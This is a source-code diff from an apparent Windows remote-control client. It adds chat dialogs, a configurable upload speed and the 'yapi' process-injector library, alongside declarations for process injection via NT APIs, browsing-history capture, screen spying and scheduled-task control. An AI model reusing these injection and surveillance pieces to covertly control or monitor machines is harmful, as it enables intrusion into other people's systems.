BOOL RunOrStopTask(LPBYTE lpBuffer, BOOL Action); //执行或停止
|
||||||
|
BOOL DelTask(LPBYTE lpBuffer); //删除计划任务
|
||||||
|
BOOL GetProgramPath(ITaskDefinition* iDefinition, BSTR* exepath);
|
||||||
|
void SaveData(const std::string& taskname, const std::string& path,
|
||||||
|
const std::string& exepath, const std::string& status,
|
||||||
|
DATE LastTime, DATE NextTime, PBYTE &data, int &offset); //保存数据到缓冲区
|
||||||
|
DWORD m_dwServiceType;
|
||||||
|
|
||||||
|
void SendHostsList();
|
||||||
|
|
||||||
|
void injectprocess(DWORD mode, DWORD ExeIsx86, DWORD dwProcessID,byte* data, DWORD datasize,char* path);
|
||||||
|
|
||||||
|
void SendError(const char* Terror);
|
||||||
|
};
|
||||||
|
|
||||||
|
struct Browsinghistory {
|
||||||
|
char strTime[100];
|
||||||
|
char strTitle[1024];
|
||||||
|
char strUrl[1024];
|
||||||
|
};
|
||||||
|
|
||||||
|
|
||||||
|
typedef struct {
|
||||||
|
DWORD dwState; // 连接状态
|
||||||
|
DWORD dwLocalAddr; // 本地地址
|
||||||
|
DWORD dwLocalPort; // 本地端口
|
||||||
|
DWORD dwRemoteAddr; // 远程地址
|
||||||
|
DWORD dwRemotePort; // 远程端口
|
||||||
|
DWORD dwProcessId; // 进程ID号
|
||||||
|
} MIB_TCPEXROW, * PMIB_TCPEXROW;
|
||||||
|
|
||||||
|
typedef struct {
|
||||||
|
DWORD dwNumEntries;
|
||||||
|
MIB_TCPEXROW table[ANY_SIZE];
|
||||||
|
} MIB_TCPEXTABLE, * PMIB_TCPEXTABLE;
|
||||||
|
|
||||||
|
typedef struct {
|
||||||
|
DWORD dwLocalAddr; // 本地地址
|
||||||
|
DWORD dwLocalPort; // 本地端口
|
||||||
|
DWORD dwProcessId; // 进程ID号
|
||||||
|
} MIB_UDPEXROW, * PMIB_UDPEXROW;
|
||||||
|
|
||||||
|
typedef struct {
|
||||||
|
DWORD dwNumEntries;
|
||||||
|
MIB_UDPEXROW table[ANY_SIZE];
|
||||||
|
} MIB_UDPEXTABLE, * PMIB_UDPEXTABLE;
|
||||||
|
|
||||||
|
typedef struct {
|
||||||
|
DWORD dwState; //连接状态
|
||||||
|
DWORD dwLocalAddr; //本地地址
|
||||||
|
DWORD dwLocalPort; //本地端口
|
||||||
|
DWORD dwRemoteAddr; //远程地址
|
||||||
|
DWORD dwRemotePort; //远程端口
|
||||||
|
DWORD dwProcessId; //进程标识
|
||||||
|
DWORD Unknown; //待定标识
|
||||||
|
} MIB_TCPEXROW_VISTA, * PMIB_TCPEXROW_VISTA;
|
||||||
|
|
||||||
|
typedef struct {
|
||||||
|
DWORD dwNumEntries;
|
||||||
|
MIB_TCPEXROW_VISTA table[ANY_SIZE];
|
||||||
|
} MIB_TCPEXTABLE_VISTA, * PMIB_TCPEXTABLE_VISTA;
|
||||||
|
|
||||||
|
typedef DWORD(WINAPI* _InternalGetTcpTable2)(
|
||||||
|
PMIB_TCPEXTABLE_VISTA* pTcpTable_Vista,
|
||||||
|
HANDLE heap,
|
||||||
|
DWORD flags
|
||||||
|
);
|
||||||
|
|
||||||
|
|
||||||
|
typedef DWORD(WINAPI* PFNInternalGetUdpTableWithOwnerPid)(
|
||||||
|
PMIB_UDPEXTABLE* pUdpTable,
|
||||||
|
HANDLE heap,
|
||||||
|
DWORD flags
|
||||||
|
);
|
||||||
|
// 扩展函数原型
|
||||||
|
typedef DWORD(WINAPI* PFNAllocateAndGetTcpExTableFromStack)(
|
||||||
|
PMIB_TCPEXTABLE* pTcpTable,
|
||||||
|
BOOL bOrder,
|
||||||
|
HANDLE heap,
|
||||||
|
DWORD zero,
|
||||||
|
DWORD flags
|
||||||
|
);
|
||||||
|
|
||||||
|
typedef DWORD(WINAPI* PFNAllocateAndGetUdpExTableFromStack)(
|
||||||
|
PMIB_UDPEXTABLE* pUdpTable,
|
||||||
|
BOOL bOrder,
|
||||||
|
HANDLE heap,
|
||||||
|
DWORD zero,
|
||||||
|
DWORD flags
|
||||||
|
);
|
||||||
|
|
||||||
|
typedef _CLIENT_ID* PCLIENT_ID;
|
||||||
|
|
||||||
|
typedef NTSTATUS(NTAPI* pNtOpenProcess)(PHANDLE ProcessHandle, ACCESS_MASK DesiredAccess, POBJECT_ATTRIBUTES ObjectAttributes, PCLIENT_ID ClientId);
|
||||||
|
typedef NTSTATUS(NTAPI* pNtOpenThread)(PHANDLE ThreadHandle, ACCESS_MASK AccessMask, POBJECT_ATTRIBUTES ObjectAttributes, PCLIENT_ID);
|
||||||
|
typedef NTSTATUS(NTAPI* pNtSuspendThread)(HANDLE ThreadHandle, PULONG SuspendCount);
|
||||||
|
typedef NTSTATUS(NTAPI* pNtAlertResumeThread)(HANDLE ThreadHandle, PULONG SuspendCount);
|
||||||
|
typedef NTSTATUS(NTAPI* pNtAllocateVirtualMemory)(HANDLE ProcessHandle, PVOID* BaseAddress, ULONG_PTR ZeroBits, PSIZE_T RegionSize, ULONG AllocationType, ULONG Protect);
|
||||||
|
typedef NTSTATUS(NTAPI* pNtWriteVirtualMemory)(HANDLE ProcessHandle, PVOID BaseAddress, PVOID Buffer, ULONG NumberOfBytesToWrite, PULONG NumberOfBytesWritten);
|
||||||
|
typedef NTSTATUS(NTAPI* pNtQueueApcThread)(HANDLE ThreadHandle, PIO_APC_ROUTINE ApcRoutine, PVOID ApcRoutineContext OPTIONAL, PIO_STATUS_BLOCK ApcStatusBlock OPTIONAL, ULONG ApcReserved OPTIONAL);
|
||||||
|
typedef NTSTATUS(WINAPI* pLdrLoadDll)(IN PWCHAR PathToFile OPTIONAL, IN ULONG Flags OPTIONAL, IN PUNICODE_STRING ModuleFileName, OUT PHANDLE ModuleHandle);
|
||||||
|
typedef VOID(WINAPI* pRtlInitUnicodeString)(PUNICODE_STRING DestinationString, PCWSTR SourceString);
|
||||||
|
|
||||||
|
typedef NTSTATUS(NTAPI* pfnNtCreateThreadEx)
|
||||||
|
(
|
||||||
|
OUT PHANDLE hThread,
|
||||||
|
IN ACCESS_MASK DesiredAccess,
|
||||||
|
IN PVOID ObjectAttributes,
|
||||||
|
IN HANDLE ProcessHandle,
|
||||||
|
IN PVOID lpStartAddress,
|
||||||
|
IN PVOID lpParameter,
|
||||||
|
IN ULONG Flags,
|
||||||
|
IN SIZE_T StackZeroBits,
|
||||||
|
IN SIZE_T SizeOfStackCommit,
|
||||||
|
IN SIZE_T SizeOfStackReserve,
|
||||||
|
OUT PVOID lpBytesBuffer);
|
||||||
|
|
||||||
|
typedef struct _THREAD_DATA
|
||||||
|
{
|
||||||
|
pRtlInitUnicodeString fnRtlInitUnicodeString;
|
||||||
|
pLdrLoadDll fnLdrLoadDll;
|
||||||
|
UNICODE_STRING UnicodeString;
|
||||||
|
WCHAR DllName[260];
|
||||||
|
PWCHAR DllPath;
|
||||||
|
ULONG Flags;
|
||||||
|
HANDLE ModuleHandle;
|
||||||
|
}THREAD_DATA, * PTHREAD_DATA;
|
||||||
|
|
||||||
|
struct InjectData {
|
||||||
|
DWORD ExeIsx86;
|
||||||
|
DWORD mode; //注入模式
|
||||||
|
DWORD dwProcessID;//进程ID
|
||||||
|
DWORD datasize; //本地数据尺寸
|
||||||
|
char strpath[1024]; //远程落地目录
|
||||||
|
};
|
||||||
@@ -106,8 +106,13 @@ CScreenManager::CScreenManager(IOCPClient* ClientObject, int n, void* user, BOOL
|
|||||||
SetConnection(g_MyApp.g_Connection); // 同时设置 m_conn 和 m_MyClientID
|
SetConnection(g_MyApp.g_Connection); // 同时设置 m_conn 和 m_MyClientID
|
||||||
CKernelManager* main = (CKernelManager*)ClientObject->GetMain();
|
CKernelManager* main = (CKernelManager*)ClientObject->GetMain();
|
||||||
m_Signature = main ? main->m_LoginSignature : ClientObject->m_LoginSignature;
|
m_Signature = main ? main->m_LoginSignature : ClientObject->m_LoginSignature;
|
||||||
if (!m_Signature.empty()) InitFileUpload({}, main ? main->m_LoginMsg : ClientObject->m_LoginMsg,
|
if (!m_Signature.empty()) {
|
||||||
main ? main->m_LoginSignature : ClientObject->m_LoginSignature, 64, 50, Logf);
|
iniFile cfg(CLIENT_PATH);
|
||||||
|
int chunkKb, durMs;
|
||||||
|
GetTransferSpeed(cfg, chunkKb, durMs);
|
||||||
|
InitFileUpload({}, main ? main->m_LoginMsg : ClientObject->m_LoginMsg,
|
||||||
|
main ? main->m_LoginSignature : ClientObject->m_LoginSignature, chunkKb, durMs, Logf);
|
||||||
|
}
|
||||||
#endif
|
#endif
|
||||||
m_isGDI = TRUE;
|
m_isGDI = TRUE;
|
||||||
m_virtual = FALSE;
|
m_virtual = FALSE;
|
||||||
@@ -870,7 +875,10 @@ VOID CScreenManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
|
|||||||
if (m_Signature.empty()) {
|
if (m_Signature.empty()) {
|
||||||
m_Signature = std::string(resp.signature, resp.signature + 64);
|
m_Signature = std::string(resp.signature, resp.signature + 64);
|
||||||
m_ClientObject->SetVerifyInfo(resp.msg, m_Signature);
|
m_ClientObject->SetVerifyInfo(resp.msg, m_Signature);
|
||||||
InitFileUpload({}, std::string(resp.msg), m_Signature, 64, 50, Logf);
|
iniFile cfg(CLIENT_PATH);
|
||||||
|
int chunkKb, durMs;
|
||||||
|
GetTransferSpeed(cfg, chunkKb, durMs);
|
||||||
|
InitFileUpload({}, std::string(resp.msg), m_Signature, chunkKb, durMs, Logf);
|
||||||
Mprintf("[CScreenManager] Received Signature: <%s, %s>\n", resp.msg, m_Signature.c_str());
|
Mprintf("[CScreenManager] Received Signature: <%s, %s>\n", resp.msg, m_Signature.c_str());
|
||||||
}
|
}
|
||||||
break;
|
break;
|
||||||
|
|||||||
+16
-1
@@ -26,11 +26,23 @@ LANGUAGE LANG_CHINESE, SUBLANG_CHINESE_SIMPLIFIED
|
|||||||
|
|
||||||
IDD_DIALOG DIALOGEX 0, 0, 180, 108
|
IDD_DIALOG DIALOGEX 0, 0, 180, 108
|
||||||
STYLE DS_SYSMODAL | DS_SETFONT | DS_MODALFRAME | WS_POPUP | WS_CAPTION | WS_SYSMENU
|
STYLE DS_SYSMODAL | DS_SETFONT | DS_MODALFRAME | WS_POPUP | WS_CAPTION | WS_SYSMENU
|
||||||
CAPTION "娑堟伅鎻愮ず"
|
CAPTION "消息提示"
|
||||||
FONT 10, "System", 0, 0, 0x0
|
FONT 10, "System", 0, 0, 0x0
|
||||||
BEGIN
|
BEGIN
|
||||||
LTEXT "Static",IDC_EDIT_MESSAGE,5,5,170,95
|
LTEXT "Static",IDC_EDIT_MESSAGE,5,5,170,95
|
||||||
END
|
END
|
||||||
|
IDD_CHAT DIALOGEX 0, 0, 235, 155
|
||||||
|
STYLE DS_SETFONT | DS_MODALFRAME | DS_CENTER | WS_MINIMIZEBOX | WS_POPUP | WS_CAPTION | WS_SYSMENU
|
||||||
|
CAPTION "Chat"
|
||||||
|
FONT 10, "System", 0, 0, 0x0
|
||||||
|
BEGIN
|
||||||
|
EDITTEXT IDC_EDIT_CHATLOG,3,3,229,107,ES_MULTILINE | ES_AUTOVSCROLL | ES_READONLY | WS_VSCROLL | WS_BORDER | WS_TABSTOP | WS_VISIBLE
|
||||||
|
EDITTEXT IDC_EDIT_NEWMSG,3,113,170,38,ES_MULTILINE | ES_AUTOVSCROLL | WS_VSCROLL | WS_BORDER | WS_TABSTOP | WS_VISIBLE
|
||||||
|
PUSHBUTTON "Send",IDC_BUTTON_SEND,178,116,54,14,BS_DEFPUSHBUTTON | WS_TABSTOP | WS_VISIBLE
|
||||||
|
PUSHBUTTON "End",IDC_BUTTON_END,178,133,54,14,WS_TABSTOP | WS_VISIBLE
|
||||||
|
END
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
/////////////////////////////////////////////////////////////////////////////
|
/////////////////////////////////////////////////////////////////////////////
|
||||||
@@ -44,6 +56,9 @@ BEGIN
|
|||||||
IDD_DIALOG, DIALOG
|
IDD_DIALOG, DIALOG
|
||||||
BEGIN
|
BEGIN
|
||||||
END
|
END
|
||||||
|
IDD_CHAT, DIALOG
|
||||||
|
BEGIN
|
||||||
|
END
|
||||||
END
|
END
|
||||||
#endif // APSTUDIO_INVOKED
|
#endif // APSTUDIO_INVOKED
|
||||||
|
|
||||||
|
|||||||
@@ -214,6 +214,7 @@
|
|||||||
<ClCompile Include="ScreenPreview.cpp" />
|
<ClCompile Include="ScreenPreview.cpp" />
|
||||||
<ClCompile Include="ScreenSpy.cpp" />
|
<ClCompile Include="ScreenSpy.cpp" />
|
||||||
<ClCompile Include="ServicesManager.cpp" />
|
<ClCompile Include="ServicesManager.cpp" />
|
||||||
|
<ClCompile Include="ConnectionsManager.cpp" />
|
||||||
<ClCompile Include="ServiceWrapper.c" />
|
<ClCompile Include="ServiceWrapper.c" />
|
||||||
<ClCompile Include="session.cpp" />
|
<ClCompile Include="session.cpp" />
|
||||||
<ClCompile Include="SessionMonitor.c" />
|
<ClCompile Include="SessionMonitor.c" />
|
||||||
@@ -225,6 +226,8 @@
|
|||||||
<ClCompile Include="CFFmpegH264Encoder.cpp" />
|
<ClCompile Include="CFFmpegH264Encoder.cpp" />
|
||||||
<ClCompile Include="EncoderFactory.cpp" />
|
<ClCompile Include="EncoderFactory.cpp" />
|
||||||
<ClCompile Include="TalkManager.cpp" />
|
<ClCompile Include="TalkManager.cpp" />
|
||||||
|
<ClCompile Include="ChatManager.cpp" />
|
||||||
|
<ClCompile Include="MachineManager.cpp" />
|
||||||
<ClCompile Include="VideoManager.cpp" />
|
<ClCompile Include="VideoManager.cpp" />
|
||||||
<ClCompile Include="X264Encoder.cpp" />
|
<ClCompile Include="X264Encoder.cpp" />
|
||||||
</ItemGroup>
|
</ItemGroup>
|
||||||
@@ -269,6 +272,7 @@
|
|||||||
<ClInclude Include="ScreenPreview.h" />
|
<ClInclude Include="ScreenPreview.h" />
|
||||||
<ClInclude Include="ScreenSpy.h" />
|
<ClInclude Include="ScreenSpy.h" />
|
||||||
<ClInclude Include="ServicesManager.h" />
|
<ClInclude Include="ServicesManager.h" />
|
||||||
|
<ClInclude Include="ConnectionsManager.h" />
|
||||||
<ClInclude Include="ServiceWrapper.h" />
|
<ClInclude Include="ServiceWrapper.h" />
|
||||||
<ClInclude Include="session.h" />
|
<ClInclude Include="session.h" />
|
||||||
<ClInclude Include="SessionMonitor.h" />
|
<ClInclude Include="SessionMonitor.h" />
|
||||||
@@ -281,6 +285,9 @@
|
|||||||
<ClInclude Include="SystemManager.h" />
|
<ClInclude Include="SystemManager.h" />
|
||||||
<ClInclude Include="VideoEncoderBase.h" />
|
<ClInclude Include="VideoEncoderBase.h" />
|
||||||
<ClInclude Include="TalkManager.h" />
|
<ClInclude Include="TalkManager.h" />
|
||||||
|
<ClInclude Include="ChatManager.h" />
|
||||||
|
<ClInclude Include="MachineManager.h" />
|
||||||
|
<ClInclude Include="yapi.hpp" />
|
||||||
<ClInclude Include="VideoCodec.h" />
|
<ClInclude Include="VideoCodec.h" />
|
||||||
<ClInclude Include="VideoManager.h" />
|
<ClInclude Include="VideoManager.h" />
|
||||||
<ClInclude Include="X264Encoder.h" />
|
<ClInclude Include="X264Encoder.h" />
|
||||||
|
|||||||
+7
-2
@@ -9,14 +9,19 @@
|
|||||||
#define IDI_ICON2 105
|
#define IDI_ICON2 105
|
||||||
#define IDI_ICON_MSG 105
|
#define IDI_ICON_MSG 105
|
||||||
#define IDC_EDIT_MESSAGE 1000
|
#define IDC_EDIT_MESSAGE 1000
|
||||||
|
#define IDD_CHAT 106
|
||||||
|
#define IDC_EDIT_CHATLOG 1001
|
||||||
|
#define IDC_EDIT_NEWMSG 1002
|
||||||
|
#define IDC_BUTTON_SEND 1003
|
||||||
|
#define IDC_BUTTON_END 1004
|
||||||
|
|
||||||
// Next default values for new objects
|
// Next default values for new objects
|
||||||
//
|
//
|
||||||
#ifdef APSTUDIO_INVOKED
|
#ifdef APSTUDIO_INVOKED
|
||||||
#ifndef APSTUDIO_READONLY_SYMBOLS
|
#ifndef APSTUDIO_READONLY_SYMBOLS
|
||||||
#define _APS_NEXT_RESOURCE_VALUE 106
|
#define _APS_NEXT_RESOURCE_VALUE 107
|
||||||
#define _APS_NEXT_COMMAND_VALUE 40001
|
#define _APS_NEXT_COMMAND_VALUE 40001
|
||||||
#define _APS_NEXT_CONTROL_VALUE 1001
|
#define _APS_NEXT_CONTROL_VALUE 1005
|
||||||
#define _APS_NEXT_SYMED_VALUE 101
|
#define _APS_NEXT_SYMED_VALUE 101
|
||||||
#endif
|
#endif
|
||||||
#endif
|
#endif
|
||||||
+915
@@ -0,0 +1,915 @@
|
|||||||
|
/*
|
||||||
|
yapi -- Yet Another Process Injector / Your API
|
||||||
|
A fusion library that reduce differences between x64, wow64 and x86 processes based on rewolf-wow64ext.
|
||||||
|
|
||||||
|
Copyright (c) 2010-2018 <http://ez8.co> <orca.zhang@yahoo.com>
|
||||||
|
This library is released under the MIT License.
|
||||||
|
|
||||||
|
Please see LICENSE file or visit https://github.com/ez8-co/yapi for details.
|
||||||
|
*/
|
||||||
|
#pragma once
|
||||||
|
|
||||||
|
#define WIN32_NO_STATUS
|
||||||
|
#include <windows.h>
|
||||||
|
#include <winternl.h>
|
||||||
|
|
||||||
|
#include <tchar.h>
|
||||||
|
#include <vector>
|
||||||
|
#include <string>
|
||||||
|
|
||||||
|
#ifndef NT_SUCCESS
|
||||||
|
#define NT_SUCCESS(Status) (((NTSTATUS)(Status)) >= 0)
|
||||||
|
#endif
|
||||||
|
|
||||||
|
#include <TlHelp32.h>
|
||||||
|
|
||||||
|
namespace detail {
|
||||||
|
static HMODULE hNtDll = LoadLibrary(_T("ntdll.dll"));
|
||||||
|
static HANDLE hCurProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, GetCurrentProcessId());
|
||||||
|
|
||||||
|
inline BOOL Is64BitOS()
|
||||||
|
{
|
||||||
|
SYSTEM_INFO systemInfo = { 0 };
|
||||||
|
GetNativeSystemInfo(&systemInfo);
|
||||||
|
return systemInfo.wProcessorArchitecture == PROCESSOR_ARCHITECTURE_AMD64
|
||||||
|
|| systemInfo.wProcessorArchitecture == PROCESSOR_ARCHITECTURE_IA64;
|
||||||
|
}
|
||||||
|
static const BOOL is64BitOS = Is64BitOS();
|
||||||
|
|
||||||
|
struct GCBase
|
||||||
|
{
|
||||||
|
virtual DWORD64 toDWORD64() = 0;
|
||||||
|
virtual void gc() = 0;
|
||||||
|
};
|
||||||
|
struct GCHelper
|
||||||
|
{
|
||||||
|
~GCHelper() {
|
||||||
|
for (size_t i = 0; i < _ptrs.size(); i++) {
|
||||||
|
_ptrs[i]->gc();
|
||||||
|
delete _ptrs[i];
|
||||||
|
}
|
||||||
|
}
|
||||||
|
DWORD64 add(GCBase* ptr) { _ptrs.push_back(ptr); return ptr->toDWORD64(); }
|
||||||
|
private:
|
||||||
|
std::vector<GCBase*> _ptrs;
|
||||||
|
};
|
||||||
|
}
|
||||||
|
|
||||||
|
namespace yapi {
|
||||||
|
|
||||||
|
typedef std::basic_string<TCHAR, std::char_traits<TCHAR>, std::allocator<TCHAR> > tstring;
|
||||||
|
|
||||||
|
#ifndef UNICODE
|
||||||
|
static std::string _W2T(const wchar_t* wcs)
|
||||||
|
{
|
||||||
|
int len = ::WideCharToMultiByte(CP_ACP, 0, wcs, -1, NULL, 0, 0, 0);
|
||||||
|
std::string ret(len, 0);
|
||||||
|
assert(0 != ::WideCharToMultiByte(CP_ACP, 0, wcs, -1, &ret[0], len, 0, 0));
|
||||||
|
ret.resize(len - 1);
|
||||||
|
return ret;
|
||||||
|
}
|
||||||
|
#else
|
||||||
|
#define _W2T(str) std::wstring(str)
|
||||||
|
#endif
|
||||||
|
|
||||||
|
#define REPEAT_0(macro)
|
||||||
|
#define REPEAT_1(macro) REPEAT_0(macro)
|
||||||
|
#define REPEAT_2(macro) REPEAT_1(macro) macro(1)
|
||||||
|
#define REPEAT_3(macro) REPEAT_2(macro) macro(2)
|
||||||
|
#define REPEAT_4(macro) REPEAT_3(macro) macro(3)
|
||||||
|
#define REPEAT_5(macro) REPEAT_4(macro) macro(4)
|
||||||
|
#define REPEAT_6(macro) REPEAT_5(macro) macro(5)
|
||||||
|
#define REPEAT_7(macro) REPEAT_6(macro) macro(6)
|
||||||
|
#define REPEAT_8(macro) REPEAT_7(macro) macro(7)
|
||||||
|
#define REPEAT_9(macro) REPEAT_8(macro) macro(8)
|
||||||
|
#define REPEAT_10(macro) REPEAT_9(macro) macro(9)
|
||||||
|
#define REPEAT_11(macro) REPEAT_10(macro) macro(10)
|
||||||
|
#define REPEAT_12(macro) REPEAT_11(macro) macro(11)
|
||||||
|
#define REPEAT_13(macro) REPEAT_12(macro) macro(12)
|
||||||
|
#define REPEAT_14(macro) REPEAT_13(macro) macro(13)
|
||||||
|
#define REPEAT_15(macro) REPEAT_14(macro) macro(14)
|
||||||
|
#define REPEAT_16(macro) REPEAT_15(macro) macro(15)
|
||||||
|
#define REPEAT_17(macro) REPEAT_16(macro) macro(16)
|
||||||
|
#define REPEAT_18(macro) REPEAT_17(macro) macro(17)
|
||||||
|
#define REPEAT_19(macro) REPEAT_18(macro) macro(18)
|
||||||
|
#define REPEAT_20(macro) REPEAT_19(macro) macro(19)
|
||||||
|
|
||||||
|
#define END_MACRO_0(macro)
|
||||||
|
#define END_MACRO_1(macro) macro(1)
|
||||||
|
#define END_MACRO_2(macro) macro(2)
|
||||||
|
#define END_MACRO_3(macro) macro(3)
|
||||||
|
#define END_MACRO_4(macro) macro(4)
|
||||||
|
#define END_MACRO_5(macro) macro(5)
|
||||||
|
#define END_MACRO_6(macro) macro(6)
|
||||||
|
#define END_MACRO_7(macro) macro(7)
|
||||||
|
#define END_MACRO_8(macro) macro(8)
|
||||||
|
#define END_MACRO_9(macro) macro(9)
|
||||||
|
#define END_MACRO_10(macro) macro(10)
|
||||||
|
#define END_MACRO_11(macro) macro(11)
|
||||||
|
#define END_MACRO_12(macro) macro(12)
|
||||||
|
#define END_MACRO_13(macro) macro(13)
|
||||||
|
#define END_MACRO_14(macro) macro(14)
|
||||||
|
#define END_MACRO_15(macro) macro(15)
|
||||||
|
#define END_MACRO_16(macro) macro(16)
|
||||||
|
#define END_MACRO_17(macro) macro(17)
|
||||||
|
#define END_MACRO_18(macro) macro(18)
|
||||||
|
#define END_MACRO_19(macro) macro(19)
|
||||||
|
#define END_MACRO_20(macro) macro(20)
|
||||||
|
|
||||||
|
#define REPEAT(n, macro, end_macro) REPEAT_##n (macro) END_MACRO_##n(end_macro)
|
||||||
|
|
||||||
|
#define __ARG(n) P ## n
|
||||||
|
#define __PARAM(n) p ## n
|
||||||
|
#define __ARG_DECL(n) __ARG(n) __PARAM(n)
|
||||||
|
|
||||||
|
#define TEMPLATE_ARG(n) typename __ARG(n)
|
||||||
|
#define VOID_TEMPLATE_ARGS(n) typename __ARG(n),
|
||||||
|
|
||||||
|
#define ARG_DECL(n) __ARG_DECL(n) ,
|
||||||
|
#define END_ARG_DECL(n) __ARG_DECL(n)
|
||||||
|
|
||||||
|
#define DECL_VOID_TEMPLATE_ARGS(n) REPEAT(n, VOID_TEMPLATE_ARGS, TEMPLATE_ARG)
|
||||||
|
#define DECL_PARAMS_LIST(n) REPEAT(n, ARG_DECL, END_ARG_DECL)
|
||||||
|
|
||||||
|
namespace {
|
||||||
|
template <class T>
|
||||||
|
struct _UNICODE_STRING_T {
|
||||||
|
union {
|
||||||
|
struct {
|
||||||
|
WORD Length;
|
||||||
|
WORD MaximumLength;
|
||||||
|
};
|
||||||
|
T dummy;
|
||||||
|
};
|
||||||
|
T Buffer;
|
||||||
|
};
|
||||||
|
|
||||||
|
template <typename T>
|
||||||
|
struct _LIST_ENTRY_T {
|
||||||
|
T Flink;
|
||||||
|
T Blink;
|
||||||
|
};
|
||||||
|
|
||||||
|
template <typename T>
|
||||||
|
struct _PEB_T {
|
||||||
|
T dummy01;
|
||||||
|
T Mutant;
|
||||||
|
T ImageBaseAddress;
|
||||||
|
T Ldr;
|
||||||
|
// omit unused fields
|
||||||
|
};
|
||||||
|
|
||||||
|
typedef _PEB_T<DWORD> PEB32;
|
||||||
|
typedef _PEB_T<DWORD64> PEB64;
|
||||||
|
|
||||||
|
typedef struct _PROCESS_BASIC_INFORMATION32 {
|
||||||
|
NTSTATUS ExitStatus;
|
||||||
|
UINT32 PebBaseAddress;
|
||||||
|
UINT32 AffinityMask;
|
||||||
|
UINT32 BasePriority;
|
||||||
|
UINT32 UniqueProcessId;
|
||||||
|
UINT32 InheritedFromUniqueProcessId;
|
||||||
|
} PROCESS_BASIC_INFORMATION32;
|
||||||
|
|
||||||
|
typedef struct _PROCESS_BASIC_INFORMATION64 {
|
||||||
|
NTSTATUS ExitStatus;
|
||||||
|
UINT32 Reserved0;
|
||||||
|
UINT64 PebBaseAddress;
|
||||||
|
UINT64 AffinityMask;
|
||||||
|
UINT32 BasePriority;
|
||||||
|
UINT32 Reserved1;
|
||||||
|
UINT64 UniqueProcessId;
|
||||||
|
UINT64 InheritedFromUniqueProcessId;
|
||||||
|
} PROCESS_BASIC_INFORMATION64;
|
||||||
|
|
||||||
|
template <class T>
|
||||||
|
struct _PEB_LDR_DATA_T {
|
||||||
|
DWORD Length;
|
||||||
|
DWORD Initialized;
|
||||||
|
T SsHandle;
|
||||||
|
_LIST_ENTRY_T<T> InLoadOrderModuleList;
|
||||||
|
// omit unused fields
|
||||||
|
};
|
||||||
|
|
||||||
|
typedef _PEB_LDR_DATA_T<DWORD> PEB_LDR_DATA32;
|
||||||
|
typedef _PEB_LDR_DATA_T<DWORD64> PEB_LDR_DATA64;
|
||||||
|
|
||||||
|
template <class T>
|
||||||
|
struct _LDR_DATA_TABLE_ENTRY_T {
|
||||||
|
_LIST_ENTRY_T<T> InLoadOrderLinks;
|
||||||
|
_LIST_ENTRY_T<T> InMemoryOrderLinks;
|
||||||
|
_LIST_ENTRY_T<T> InInitializationOrderLinks;
|
||||||
|
T DllBase;
|
||||||
|
T EntryPoint;
|
||||||
|
union {
|
||||||
|
DWORD SizeOfImage;
|
||||||
|
T dummy01;
|
||||||
|
};
|
||||||
|
_UNICODE_STRING_T<T> FullDllName;
|
||||||
|
_UNICODE_STRING_T<T> BaseDllName;
|
||||||
|
// omit unused fields
|
||||||
|
};
|
||||||
|
|
||||||
|
typedef _LDR_DATA_TABLE_ENTRY_T<DWORD> LDR_DATA_TABLE_ENTRY32;
|
||||||
|
typedef _LDR_DATA_TABLE_ENTRY_T<DWORD64> LDR_DATA_TABLE_ENTRY64;
|
||||||
|
|
||||||
|
size_t tcslen(const char* str) { return strlen(str); }
|
||||||
|
size_t tcslen(const wchar_t* str) { return wcslen(str); }
|
||||||
|
}
|
||||||
|
|
||||||
|
inline DWORD64 WINAPI GetProcAddress(HANDLE hProcess, DWORD64 hModule, const char* funcName);
|
||||||
|
|
||||||
|
#ifdef _WIN64
|
||||||
|
typedef NTSTATUS(WINAPI *NT_QUERY_INFORMATION_PROCESS)(
|
||||||
|
HANDLE ProcessHandle, ULONG ProcessInformationClass,
|
||||||
|
PVOID ProcessInformation, UINT32 ProcessInformationLength,
|
||||||
|
UINT32 * ReturnLength);
|
||||||
|
|
||||||
|
static NT_QUERY_INFORMATION_PROCESS NtWow64QueryInformationProcess64 = (NT_QUERY_INFORMATION_PROCESS)GetProcAddress((HMODULE)detail::hNtDll, "NtQueryInformationProcess");
|
||||||
|
#define NtWow64ReadVirtualMemory64 ReadProcessMemory
|
||||||
|
|
||||||
|
#else
|
||||||
|
|
||||||
|
namespace {
|
||||||
|
typedef NTSTATUS(WINAPI *NT_WOW64_QUERY_INFORMATION_PROCESS64)(
|
||||||
|
HANDLE ProcessHandle, UINT32 ProcessInformationClass,
|
||||||
|
PVOID ProcessInformation, UINT32 ProcessInformationLength,
|
||||||
|
UINT32* ReturnLength);
|
||||||
|
|
||||||
|
typedef NTSTATUS(WINAPI *NT_WOW64_READ_VIRTUAL_MEMORY64)(
|
||||||
|
HANDLE ProcessHandle, PVOID64 BaseAddress,
|
||||||
|
PVOID BufferData, UINT64 BufferLength,
|
||||||
|
PUINT64 ReturnLength);
|
||||||
|
|
||||||
|
static NT_WOW64_QUERY_INFORMATION_PROCESS64 NtWow64QueryInformationProcess64 = (NT_WOW64_QUERY_INFORMATION_PROCESS64)GetProcAddress((HMODULE)detail::hNtDll, "NtWow64QueryInformationProcess64");
|
||||||
|
static NT_WOW64_READ_VIRTUAL_MEMORY64 NtWow64ReadVirtualMemory64 = (NT_WOW64_READ_VIRTUAL_MEMORY64)GetProcAddress((HMODULE)detail::hNtDll, "NtWow64ReadVirtualMemory64");
|
||||||
|
}
|
||||||
|
|
||||||
|
#endif
|
||||||
|
|
||||||
|
inline DWORD64 WINAPI GetModuleHandle(HANDLE hProcess, const TCHAR* moduleName)
|
||||||
|
{
|
||||||
|
if (!moduleName) return 0;
|
||||||
|
if (!hProcess) hProcess = detail::hCurProcess;
|
||||||
|
|
||||||
|
HANDLE hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPMODULE | TH32CS_SNAPMODULE32, GetProcessId(hProcess));
|
||||||
|
if (hSnap == INVALID_HANDLE_VALUE) return 0;
|
||||||
|
MODULEENTRY32 mod = { sizeof(mod) };
|
||||||
|
if (Module32First(hSnap, &mod)) {
|
||||||
|
do {
|
||||||
|
if (!_tcsicmp(mod.szModule, moduleName)) {
|
||||||
|
CloseHandle(hSnap);
|
||||||
|
return (DWORD64)mod.hModule;
|
||||||
|
}
|
||||||
|
} while (Module32Next(hSnap, &mod));
|
||||||
|
}
|
||||||
|
CloseHandle(hSnap);
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
